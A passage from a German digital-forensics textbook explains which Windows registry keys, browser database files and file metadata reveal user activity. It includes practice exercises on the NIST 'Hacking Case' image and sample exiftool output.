In einem forensischen Image finden Sie die Dateien der Registry unter X:\Windows\System32\config\ wobei X: der Laufwerksbuchstabe des Images ist. Für derartige Analysen erlaubt es FTK Imager ein Image zu mounten. Wählen Sie dazu den Menüpunkt File -> Image mounting: Wählen Sie das Image aus und klicken Sie dann den Button Mount... 170
Natürlich wird ein Image nur als Read-Only Laufwerk gemountet. Hier übernimmt also FTK Imager den Job des Writeblockers für uns. Viele Angreifer wissen, dass die wichtigsten Dateien die die Registry ausmachen unter C:\Windows\System32\config zu finden sind. Einige Antiforensik-Tools säubern diese Dateien aber vergessen oftmals Backups der Daten, die unter C:\Windows\System32\config\RegBack zu finden wären. Abgesehen davon, können je nach dem wie ein Antiforensik-Tool arbeitet die gelöschten Schlüssel wiederhergestellt werden. Beispielsweise zeigt uns zB Registry Explorer von Eric Zimmerman (https://ericzimmerman.github.io/ #!index.md) gelöschte Schlüssel an. Außerdem finden sich userspezifische Werte der Registry in separaten Dateien. Diese finden sich dann unter C:\Users\<USERNAME>\. In der Regel sind diese Dateien versteckt und müssen erst mit der entsprechenden Option im Windows Explorer eingeblendet werden. Hier wären folgende Dateien interessant: > NTUSER.dat (userspezifische Registry-Einträge) > NTUSER.dat.LOG1 und NTUSER.dat.LOG2 (Liste der Veränderungen die in die NTUSER.dat beim nächsten Logout übertragen werden) Die NTUSER.dat stellt in Regedit den Registry-Schlüssel HKEY_CORRENT_USER dar. Daher kann man bei Einträgen in diesem Hive den Useraccount benennen unter dem diese Einträge gemacht wurden. Bevor wir loslegen sollten wir uns einige interessante Punkte in der Registry ansehen. Die Liste der installierten Programme kann uns auf viele Dinge hinweisen. Finden wir zB Verschlüsselungssoftware dann sollten wir auf entsprechende Container oder verschlüsselte Laufwerke achten. 171
Einträge über installierte Software finden wir hier: > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall (Wenn es mehr als einen User gibt, hat jeder seine eigene Liste an Software) > HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Windows\ CurrentVersion\Uninstall\ (Nur für 64-bit Versionen) > HKEY_CLASSES_ROOT\Installer\Products\<PRODUKT-CODE>\SourceList\Net > HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\<PRODUKTCODE>\ SourceList\Net Diverse Forensik-Software durchsucht die Registry auch nach Überresten von zuvor installierter Software. Ein weiterer interessanter Eintrag ist > HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows in dem wir zB den Zeitpunkt finden zu dem Windows das letzte Mal heruntergefahren wurde. Dies ist als Binärwert gespeichert und muss zB mit DCode von Digital Detective (https://www.digitaldetective.net/dcode/) dekodiert werden. Mögliche Orte in denen ein Autostart angelegt wird: > HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\ShellServiceObjects > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ RunServicesOnce > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\Run > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ ShellServiceObjectDelayLoad > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\SharedTaskScheduler > HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components > HKEY_LOCAL_MACHINE\Wow6432Node\Microsoft\Active Setup\Installed Components 172
> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\ SharedTaskScheduler > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ Drivers32 > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\Run > HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\ load > HKEY_CURRENT_USER\SOFTWARE\Wow6432Node\Microsoft\Windows\ CurrentVersion\Run (64 bit systems only) > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices > HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\ RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx > Einfacher als alles von Hand zu prüfen geht das mit dem Programm Autoruns: https://docs.microsoft.com/en-us/sysinternals/downloads/ Windows führt auch eine Liste aller seit der Installation angeschlossenen USBGeräte zusammen mit dem Zeitpunkt der Verbindung und dem User. Dabei werden zum Gerät die Vendor- und Produkt-ID sowie Seriennummer erfasst. Folgende Orte speichern Informationen über die USB-Geräte: > HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices (Enthält die Laufwerksbuchstaben-Zuordnung zu Geräten bzw. Partitionen auf den Geräten anhand des Globaly Uniqe Identifiers oder kurz GUID) > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 (Speichert welcher User ein Gerät gemountet hat und enthält den letzten Zeitpunkt an dem auf das Gerät geschrieben wurde in Last Write Time geordnet nach Volume GUID) > HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Usb (Technische Informationen über die Geräte und Zeitpunkt an dem diese das letzte Mal verbunden waren) > HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR (Informationen über alle angeschlossenen Geräte seit der Installation) 173
> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR\Properties\ {GUID}\#### (Informationen über die Zeiten wann etwas mit den Gerät passiert ist. Hierbei wären folgende Nummern die wichtigsten: 0064 = erste Installation, 0066 = letzter Mount bei Windows 8 und später, 0067 = letzter Unmount bei Windows 8 und später) GUID und die Seriennummer der Geräte, die in der Regel auch global gesehen einzigartig ist, können dann genutzt werden um dem Weg diverser Geräte über verschiedene Computer hinweg zu verfolgen. Die Seriennummer der Geräte finden wir dann unter HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&VEN_#######&PID_#######\ als Unterordner der weitere Informationen zum Gerät enthält. USBView von NirSoft (https://www.nirsoft.net/utils/usb_devices_view.html) trägt uns diese Informationen automatisch zusammen und bereitet diese für uns schön übersichtlich auf. Generell können Sie sich https://www.nirsoft.net merken denn dort finden sich alle möglichen kleinen Helfer die uns bei der Arbeit unterstützen. Ein empfehlenswertes Tool ist USB Detective, welches Sie in einer kostenlosen Community- und einer kommerziellen Version von https://usbdetective.com/ beziehen können. Auf Windows XP Systemen finden wir derartige Informationen in C:\Windows\ setupapi.log und bei Vista in C:\Windows\inf\setupapi.dev.log. Zuletzt verwendete Programme und Dateien: > HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\<PROGRAMM>\File MRU (Zuletzt mit Word, Excel, PowerPoint, ... bearbeitete Dokumente. Dieser Eintrag ist hierbei auch stellvertretend für diverse andere Programme die diese Daten ebenfalls in der Registry ablegen.) > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ ComDlg32\LastVisitedPidlMRU (Zuletzt benutzten Pfade der Programme. Genau das sorgt dafür, dass ein Programm sich den Pfad aus dem zuletzt eine Datei geöffnet bzw. den Pfad in dem zuletzt eine Datei gespeichert wurde merkt.) > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ ComDlg32\OpenSavePidlMRU (Dateipfade passend zu LastVistedPidlMRU.) 174
> HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ RunMRU (Zuletzt ausgeführte Kommandos im Windows Run-Dialog. Hierbei stellt der Eintrag MRUList die Reihenfolge der Befehle dar) > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ RecentDocs (zuletzt benutzte Dateien) > HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\ Regedit (Zuletzt mit regedit.exe geöffneter Key) > HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs (Die zuletzt im Explorer eingegebenen Pfade. Das ist besonders interessant da wir auf Grund der NTUSER.dat genau wissen welcher User dafür verantwortlich ist und durch die explizite Eingabe auch schlussfolgern können, dass dieser Pfad wissentlich und willentlich geöffnet wurde.) Auch hier finden sich bei NirSoft wieder passende Tools - ExecutedProgrammsList und OpenSaveFilesView machen und hier das Leben leichter. Wie üblich bleiben diese Artefakte erhalten auch wenn die Dateien oder Ordner selber bereits gelöscht wurden. Das gilt natürlich ebenso für alle weiteren Artefakte die ich hier nennen werde und daher spare ich es mir bei jedem weiteren Punkt darauf hinzuweisen. MRU steht übrigens für Most Recently Used und diese Abkürzung zieht sich durch die ganze Registry. Wenn sich ein User mit einem Netzwerk oder dem Internet verbindet wird dies ebenfalls in der Registry vermerkt. Außerdem werden alle verwendeten Netzwerkadapter seit der Installation gespeichert. Außerdem finden sich die Verbindungsprofile mit IP, Name, Subnetzmaske, DHCP-Informationen, Datum der ersten und letzten Verbindung mit diesem Netzwerk. Relevante Einträge zu Netzwerken und Netzwerkkarten finden wir unter: > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ NetworkCards > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ NetworkList\Nla\Cache\Intranet 175
> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ NetworkList\Nla\Wireless (Namen aller WLAN-Accesspoints mit denen das System verbunden war > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ NetworkList\Signatures\Unmanaged (Detailinformationen zu jeder WLAN-Verbindung) > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ NetworkList\Profiles (Datum des ersten und des letzten Mals als das System verbunden war) > HKEY_LOCAL_MACHINE\SOFTWARE\CurrentControlSet\services\Tcpip\ Parameters\Interfaces\{GUID} (Netzwerkkonfiguration der einzelnen Karten geordnet nach GUID) > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\ {GUID} (Netzwerkkonfiguration der einzelnen Karten geordnet nach GUID in XP) Abgesehen davon möchte ich noch ein paar weitere interessante Stellen in der Registry zeigen: HKEY_CORRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ UserAssist ... speichert die ausgeführten Programme und die Anzahl der Ausführungen. Allerdings hat sich Microsoft entschieden diese Daten mit der Rot13 "Verschlüsselung" zu sichern oder besser gesagt unkenntlich zu machen. Die Daten kann man ohne großen Aufwand wieder lesbar machen - dazu lässt sich zB https://rot13.com/ verwenden. HKEY_LOCAL_MACHINE\SYSTEM\Select ... Das aktuell verwendete ControllSet wird im Wert von Current gespeichert. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation ... Eingestellte Zeitzone die das System verwendet. Dies ist wichtig, da alle Zeitangaben in der Registry in UTC gespeichert sind. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ ComputerName ... Rechner-Name 176
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\ NtfsDisableLastAccessUpdate ... Wenn dieser Wert auf 1 bzw. 3 steht, dann werden die Zugriffs-Zeitstempel nicht für jeden Zugriff aktualisiert werden, sondern nur bei bestimmten Ereignissen. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Shares ... Freigaben die von diesem Rechner angeboten werden oder wurden. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ Memory Management\PrefetchParameters ... Parameter der Prefetch-Funktion in Windows. Was genau das ist betrachten wir ein wenig später (siehe Prefetch Files im Kapitel Timeline Analyse). Die möglichen Werte sind: 0 = Deaktiviert 1 = Programm-Prefetching aktiviert 2 = Boot-Prefetching aktiviert 3 = Programm- und Boot-Prefetching aktiviert (Standard außer bei Win 2003) HKEY_CORRENT_USER\SOFTWARE\Classes ... speichert Informationen von Prozessen die aus Sicherheitsgründen keinen Zugriff auf andere Registry-Hives erhalten. Dies wurde mit Windows 7 eingeführt. Hierin findet sich unter anderem auch ein Teil der Shellbag Artefakte. Diese Daten stammen aus der Datei C:\Users\<USERNAME>\AppData\Local\ Microsoft\Windows\UsrClass.dat. Einige Tools erfassen diese Datei nicht achten Sie also darauf, wenn Sie ein Tool testen! Sie sehen also - die Registry hat viele Informationen zu bieten und kann nachweisen, dass Programme die schon lange deinstalliert sind oder WLAN-Karten die schon lange weggeworfen sind mit diesem System benutzt worden sind. Das sind natürlich nur einige Beispiele und bei weitem nicht alle für eine Untersuchung wichtigen Informationen aus der Registry. Für alles weitere verweise ich an dieser Stelle auf die Dokumentation und das Internet. Damit wird es langsam Zeit, dass wir uns praktisch eine Analyse ansehen... 177
Laden wir nun die Dateien von https://www.cfreds.nist.gov/Hacking_Case.html herunter und mounten diese auf unserer Forensik-Workstation wie zuvor beschrieben. Auch wenn es möglich ist, pfusche ich nicht gern an meiner eigenen Registry herum und spiele dort Daten ein um diese zu untersuchen. Natürlich kann man diese Daten wieder löschen aber es gibt bessere Methoden. Dennoch will ich Ihnen diese Methode kurz zeigen Öffnen Sie RegEdit und wählen Sie HKEY_LOCAL_MACHINE an und klicken Sie auf Datei -> Struktur laden... Sobald Sie eine Datei ausgewählt haben, sollten Sie folgendes sehen: Hier können Sie den Ordner benennen unter dem die neue Struktur eingebunden werden soll. 178
Ich persönlich bevorzuge aber das Programm RegistryViewer welches Sie von https://gaijin.at/en/files?dir=old-software&sort=N&order=A herunterladen können. Das Tool erlaubt es uns gleich einen oder mehrere Hives zu laden: Nachdem wir die entsprechenden Teile geladen haben können wir in der Registry navigieren und Daten betrachten: Hier sehen wir zB die zwei Netzwerkkarten, die unter HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards eingetragen sind. 179
Oder wir finden die Installierten Programme und deren Pfade unter HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall. Hier Cain & Abel sehen wir gerade , ein bekanntes Hacking-Tool für Windows: Oder die Einträge unter MountedDevices: Sie sehen aber auch an diesen Beispielen wie unübersichtlich manche Einträge sind. Daraus eine schlüssige Aussage zu extrahieren, die auch ein Laie versteht ist mit einigem Aufwand verbunden und nicht mal das Zusammensuchen der Daten ist besonders angenehm. Es muss also einen besseren Weg geben und den gibt es dank diverser Tools. Neben spezieller forensischer Software gibt es einige weitere Tools die Daten aus der Registry laden und diese dann in lesbarer Form darstellen. Eines davon ist WindowsRegistryRecovery von der Firma MiTec welches Sie von https://www.mitec.cz/wrr.html herunterladen können. Es ist zwar nicht gratis aber für kommerzielle Zwecke kostet das Tool nur 30 EUR. Öffnen Sie das Tool und klicken Sie auf File -> Open und laden Sie die Dateien: 180
Netzwerkkonfiguration und Userkonten werden übersichtlich dargestellt. 181
Gleiches gilt für Services und Daten über das Betriebssystem. 182
Der Nachteil ist hierbei, dass wir nur das zur Verfügung haben was uns die Software bietet. Wenn sie bestimmte Daten nicht ausliest, dann sehen wir diese Informationen auch nicht! Wenn Sie also mit so einem Tool arbeiten, dann sollten Sie sich zumindest mit weiteren Tools vergewissern, dass diese Informationen übereinstimmen und am besten noch per Hand in der Registry nachsehen ob wirklich alles angezeigt wurde. Als kleine Übung können Sie zB überprüfen ob die Liste installierter Software stimmt. Die Auflösung gibt es auf der nächsten Seite. Natürlich können Sie unter RAW Data auch wieder die Registry direkt betrachten und so gleich innerhalb des Tools prüfen ob das Parsing passt oder zusätzliche Informationen heraussuchen: 183
Musterlösung - Überprüfen ob die Softwareliste vollständig ist Wenn dir nur HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVerUninstall ansehen, fällt auf, dass zB CuteHTML nicht in der Liste aufscheint. sion\ Außerdem fehlen Systemkomponenten wie zB Outlook Express. Wir können uns also nicht ungeprüft auf Tools verlassen ohne die Arbeit dieser Programme zu prüfen und falls nötig Ergebnisse zu ergänzen. Diverse Tools nehmen uns einiges an Arbeit ab, aber sie machen eben nicht unsere gesamte Arbeit für uns. Daher braucht es Spezialisten die auch die Arbeit diverser Programme verstehen und prüfen denn sonst könnte jeder forensische Untersuchungen vornehmen. Das gilt natürlich auch für zigtausende Euro teure Spezialsoftware für forensische Untersuchungen. Auch hier habe ich schon Diskrepanzen festgestellt und mit dem Support des Herstellers abgeklärt. Manchmal war ich im Irrtum, manchmal war es ein Fehler der Software. Aber kein Bericht verlässt mein Labor bevor so etwas geklärt ist und sollte es gar nicht anders gehen und ich wäre gezwungen, einen vorläufigen Bericht abzugeben, dann steht da auch drin, dass dieser eine Punkt noch nicht vollständig geklärt ist und sobald des geschehen ist wird ein finaler Bericht nachgereicht. Denn am Ende wird Ihre ganze Arbeit dank solcher Details in Frage gestellt und es wird heißen: "Wenn schon eine solch einfache Frage wie nach den Installierten Programmen lückenhaft beantwortet wird, was ist dann sonst noch übersehen worden?" Oder: "Wenn die zuständige Person die Auswertungen von Tools nicht prüft, was kann die verwendete Software sonst noch übersehen haben?" 184
Analyse der Browser Bei vielen Untersuchungen ist die Analyse der Browser-Artefakte (Verlauf, Cache, Autofill-Daten, etc.) sehr wichtig. Damit lässt sich sagen ob sich jemand zB bestimmtes Wissen (zB über Gift für einen Mord) angeeignet hat, ob derjenige verbotene Webseiten besucht hat (zB mit kinderpornografischem Material) oder eine Webseite besucht hat, die seinen Rechner mit Malware infiziert haben könnte. Wir erhalten dann auch indirekt Informationen wann eine Person zB zu Hause war oder welche Interessen derjenige hat. Bei der "Anwesenheit" muss man natürlich davon ausgehen, dass sich der PC auch über Fernwartungstools fernsteuern lässt oder diverse Aktionen von einem Script gesteuert werden könnten. Außerdem kann schlicht und ergreifend eine andere Person den Rechner verwendet haben. Also müssen derartige Aussagen wirklich hieb und stichfest sein und wir müssen darauf achten, dass wir anhand der technischen Fakten nicht immer eine Aussage auf die reale Welt treffen können wie zuvor - Einträge im Browserverlauf zu einer bestimmten Zeit legen eventuell nahe jemand könnte zu Hause gewesen sein, beweisen dies aber noch lange nicht! Ich bekomme immer wieder Fragen wie zB ob die Ehefrau den PC in Abwesenheit benutzt hat und ich kann anhand diverser digitaler Spuren sehen, dass zu einem bestimmten Zeitpunkt ein Login erfolgt ist, ich kann auch sehen, dass es mehrere Versuche gab, bis das Passwort erraten wurde aber ich kann nicht sehen ob es der Sohn, die Ehefrau, der Nachbar oder ein Freund des Sohnes war der dies getan hat. Internet Explorer und Edge ... speichern Informationen in der Registry zB unter HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer. Hierunter finden sich viele interessante Keys wie zB TypedURLs, TypedURLsTime, etc. Version 9 und frühere Versionen speichern Daten in einer Datei namens index.dat dessen Pfad je nach Windows-Version unterschiedlich ist. In Windows 7 wäre er zB: C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Cookies\index.dat Version 10 und neuer Nutzen eine Datei namens WebCacheV01.dat welche unter C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\WebCache\ WebCacheV01.dat gespeichert ist. 185
Der Nachfolger des Internet Explorer ist Edge und dieser Browser nutzt die Datei spartan.edb, die wir unter C:\Users\<USERNAME>\AppData\Local\Packages\ Microsoft.MicrosoftEdge_###\AC\MicrosoftEdge\User\Default\DataStore\ Data\nouser1\####-###\DBStore\spartan.edb finden. Nirsoft bietet hierfür das Programm ESEDatabseView und diverse andere Tools an (siehe Liste auf der nächsten Seite). Den Cache von MS Edge finden wir unter: C:\Users\<USERNAME>\AppData\ Local\Packages\Microsoft.MicrosoftEdge_###\AC\#!001\MicrosoftEdge\Cache\ oder C:\Users\<USERNAME>\AppData\Local\Packages\Microsoft.MicrosoftEdge_###\ AppData\User\Default\CacheStorage\. Falls eine ESE Datenbank als "dirty" markiert ist und repariert werden muss, bietet sich das Tool esentutl.exe an. Firefox ... nutzt nicht die Windows Registry, sondern speichert die Daten in SQLiteDatenbanken in einem Ordner, die unter %APPDATA%\Mozilla\Firefox\Profiles zu finden sind. Die wichtigsten davon wären: > > > > > > > > Places.sqlite (besuchte Seiten, Bookmarks, Verlauf) cookies.sqlite Formhistory.sqlite (Autofill-Daten) Key4.db und logins.json (Logins und Passwörter) Permissions.sqlite (Einstellungen für den Zugriff auf Webkameras, etc.) Search.json.mozlz4 (Installierte Suchmaschinen) Prefs.js (Einstellungen des Firefox) Addons.json (Installierte Addons) Google Chrome ... speichert die Daten ebenfalls in SQLite-Datenbanken. Die Profile befinden sich im Ordner C:\Users\<USERNAME>\AppData\Local\ Google\Chrome\User Data\Default\ und falls es weitere Profile gibt findet man diese im gleichen Ordner als ...\User Data\Profile X\. Die wichtigsten Dateien wären 186
> > > > > Histrory (Verlauf, Downloads, Suchanfragen) Cookies Login Data (Usernamen und verschlüsselte Passwörter) Bookmarks (Textdatei mit den Lesezeichen im JSON-Format) Cache\ (Ordner für den Cache) Auch hier finden wir wieder einige Tools bei NirSoft: BrowsingHistoryView IECookiesView IEHistoryView IECacheView MZCookiesView MZHistoryView MZCacheView OperaCacheView ChromeCacheView ChromeHistoryView > SafariCacheView > > > > > > > > > > > etc. Dann sehen wir uns zur Übung kurz an, was "Mr. Evil" so im Internet treibt. Dazu verwenden wir wieder den "Hacking Case", den wir bereits mehrfach benutzt haben. Nachdem wir das Image gemountet haben, können wir das Programm IEHistoryView von Nirsoft als Administrator öffnen. Dann wählen wir File -> Select History Folder: 187
Dann sehen wir folgendes Fenster in dem wir den vollständigen Pfad eingeben müssen: Windows lässt uns hierbei nicht auf den User-Ordner von Mr Evil mit dem Explorer zugreifen. Wir müssen uns den Pfad also in FTK Imager ansehen oder wir nutzen cmd.exe um den Pfad vorzuschreiben und zu testen. Wir können mit cd in den Ordner wechseln und die Autovervollständigung mit Tab nutzen, aber nicht den Ordnerinhalt ansehen. 188
IEHistoryView als Administrator kann die Daten aber dennoch aufrufen: Wie üblich können wir uns die Ergebnisse wieder markieren, exportieren oder Kopieren um diese in einem Bericht zu verwenden. Der HTML-Report sieht dann wie folgt aus: 189
Dateianalyse Wenn wir Dateien auf einem System vorfinden oder wiederherstellen gibt es mehr Informationen die von Belang sind als "nur" der Inhalt. Ich spreche von sogenannten Metadaten. Darunter fallen Zeitstempel, Besitzer der Datei und viele weitere Daten die im Dateisystem gespeichert sind. Diese sind vom User nicht ganz so einfach zu manipulieren und haben daher etwas mehr Gewicht als andere Metadaten. Verschiedenste Dateiformate enthalten ebenfalls Metadaten - so finden wir in den EXIF-Daten eines Bildes Informationen zu Aufnahmeparametern, Kamera, Objektiv und eventuell Copyright-Vermerke des Fotografen oder GPSKoordinaten. Die Metadaten in einer Word-Datei in denen der Autor und einige weitere Informationen hinterlegt sind haben zB zur Ergreifung des BTK-Killers (amerikanischer Serienmörder der jahrzehntelang gejagt wurde) geführt. Hierzu nutze ich zB das WSL (Windows Subsystem Linux) und das Programm exiftool: $ exiftool /mnt/f/recovery/img_1BC8C00.jpg ExifTool Version Number : 10.80 File Name : img_1BC8C00.jpg Directory : /mnt/f/recovery File Size : 59 kB File Modification Date/Time : 2021:05:19 11:19:49+02:00 File Access Date/Time : 2021:05:20 17:51:26+02:00 File Inode Change Date/Time : 2021:05:19 11:19:49+02:00 File Permissions : rwxr--r-File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.02 Resolution Unit : inches X Resolution : 150 Y Resolution : 150 Thumbnail Image : (Binary data, use -b option to extract) Date/Time Original : 2002:09:26 12:47:59 Exposure Time : 1/172 Flash : Off Resolution : 1 Protect : 0 Cont Take : 0 190
Color Mode F Number Zoom Macro Light S Exposure Compensation Camera Type Serial Number Version ID Pic Len Thm Len Tag Q Tag R Tag B S0 : : : : : : : : : : : : : : : : 1 8.0 x1.0 Off 0 0 SR86 #00000001 v86-77U EPSON DIGITAL STILL CAMERA 55656 3583 65 242 360 fa0,0,25d5,959c,16ee,4f0f,4e4a,1010000, d970003,a6306d9,0,0,65,11000100, 4f4e1600, 10000,0,4000,27320000,4a041bac T0 Image Width Image Height Encoding Process Bits Per Sample Color Components Y Cb Cr Sub Sampling Aperture Image Size Megapixels Shutter Speed : : : : : : : : : : : f216800,2600001,c00f0f,ffffff04,0,2c16 640 480 Baseline DCT, Huffman coding 8 3 YCbCr4:2:2 (2 1) 8.0 640x480 0.307 1/172 Wir erfahren hier zB, dass das Bild ursprünglich am 26.09.2002 um 12:47:59 mit einer Epson Point-and-Shoot Kamera aufgenommen wurde. Außerdem sehen wir, dass ein Vorschaubild eingebettet wurde das wir extrahieren könnten. Das gleiche Tool können wir auch für ein PDF verwenden: $ exiftool /mnt/f/recovery/pdf_4E2000_3176275.pdf ExifTool Version Number : 10.80 File Name : pdf_4E2000_3176275.pdf Directory : /mnt/f/recovery File Size : 3.0 MB File Modification Date/Time : 2021:05:19 11:29:42+02:00 File Access Date/Time : 2021:05:19 11:29:58+02:00 191
File Inode Change Date/Time File Permissions File Type File Type Extension MIME Type PDF Version Linearized Encryption User Access Tagged PDF Page Mode XMP Toolkit Modify Date Create Date Metadata Date Creator Tool Format Document ID 90d5feed93e1 Instance ID e2844edde981 Producer Trapped Has XFA Page Count Page Layout Creator : : : : : : : : : : : : : : : : : 2021:05:19 11:29:58+02:00 rwxr--r-PDF pdf application/pdf 1.6 Yes Standard V2.3 (128-bit) Print, Extract, Print high-res Yes UseOutlines 3.1-701 2008:07:29 11:26:43-04:00 2008:06:06 13:33:47-04:00 2008:07:29 11:26:43-04:00 Adobe InDesign CS2 (4.0.4) application/pdf : uuid:defb48d3-b82f-4642-b7de: uuid:816e0250-2cf7-4198-8176- : : : : : : Adobe PDF Library 7.0 False No 4 SinglePage Adobe InDesign CS2 (4.0.4) Wir sehen hier zB das der User das Dokument Drucken (auch in hoher Auflösung) und auch Daten extrahieren darf. Außerdem wissen wir nun, dass es in Adobe Indesign CS2 4.0.4 gelayoutet und mit der Adobe PDF Libary 7.0 in ein PDF umgewandelt wurde. Wir können noch viele weitere Informationen gewinnen oder Rückschlüsse auf nötige weitere Untersuchungen ziehen - so würden die Einträge Software Writer Name 192 : Adobe Photoshop CS4 Macintosh : Adobe Photoshop
Reader Name Creator Tool : Adobe Photoshop CS4 : Adobe Photoshop Lightroom 5.6 (Macintosh) in den EXIF-Daten eines Bildes eine mögliche Manipulation nahelegen und eventuell eine genauere Untersuchung von einem Spezialisten für Foto-Forensik rechtfertigen. Sie können sich als Übung die Metadaten mit verschiedenen Viewern von den diversen Anhängen ansehen die sie täglich in Spammails erhalten. Sie wären erstaunt was sich da alles finden lässt. Hier gilt wie bei der Registry - unterschiedliche Tools arbeiten unterschiedlich gut. Sie sollten also prüfen ob andere Tools das gleiche oder sogar einige Informationen mehr liefern! Das Programm FreeCommanderXE ist nicht nur eine deutlich bessere Alternative zum Explorer für forensische Zwecke, sondern kann auch exiftool direkt nutzen um uns gleich die wichtigsten Metadaten zu diversen Dateien anzuzeigen. Hierbei haben Office-Dokumente einige interessante Informationen: $ exiftool f152387451.docx ExifTool Version Number File Name Directory File Size File Modification Date/Time File Access Date/Time File Inode Change Date/Time File Permissions File Type File Type Extension MIME Type : : : : : : : : : : : Zip Required Version Zip Bit Flag Zip Compression Zip Modify Date Zip CRC Zip Compressed Size Zip Uncompressed Size Zip File Name Title Subject : : : : : : : : : : 10.80 f152387451.docx . 27 kB 2020:11:25 23:04:00+01:00 2021:02:23 09:21:49+01:00 2021:02:19 20:32:19+01:00 rwxrwxrwx DOCX docx application/vnd.openxmlformats-officedocument.wordprocessingml.document 20 0x0006 Deflated 1980:01:01 00:00:00 0x2f1f8c3a 439 2486 [Content_Types].xml Staatliche Berufsschule II 193
Creator : Zweckverband Berufliches Schulzentrum Keywords : Last Modified By : Home Revision Number : 7 Last Printed : 2020:11:25 21:00:00Z Create Date : 2020:10:19 14:11:00Z Modify Date : 2020:11:25 21:04:00Z Template : Normal Total Edit Time : 0 Pages : 1 Words : 242 Characters : 1530 Application : Microsoft Office Word Doc Security : None Lines : 12 Paragraphs : 3 Scale Crop : No Heading Pairs : Titel, 1 Titles Of Parts : Staatliche Berufsschule II Company : A. Somegermanname Links Up To Date : No Characters With Spaces : 1769 Shared Doc : No Hyperlinks Changed : No App Version : 16.0000 ContentTypeId : 0x0101006B668D01C40A934688988545ACBEA9BA Wir sehen hier die Exif-Daten einer DOCX-Datei die per RAW-Recovery gerettet wurde. Obwohl uns das Dateisystem keinen Dateinamen mehr gibt, helfen uns die Metadaten weiter - so sehen wir, dass der Titel "Staatliche Berufsschule II" war, dass das Dokument von " Zweckverband Berufliches Schulzentrum" erstellt und von "Home" zuletzt editiert wurde. Dies ist nun die 7. Version der Datei und enthält 1 Seite, 242 Wörter und 1530 Zeichen in 12 Zeilen und 3 Absätzen. Der Eintrag A. Somegermanname unter Company wurde bei der Installation des Programms als Firmenname des Lizenznehmers eingetragen. 194
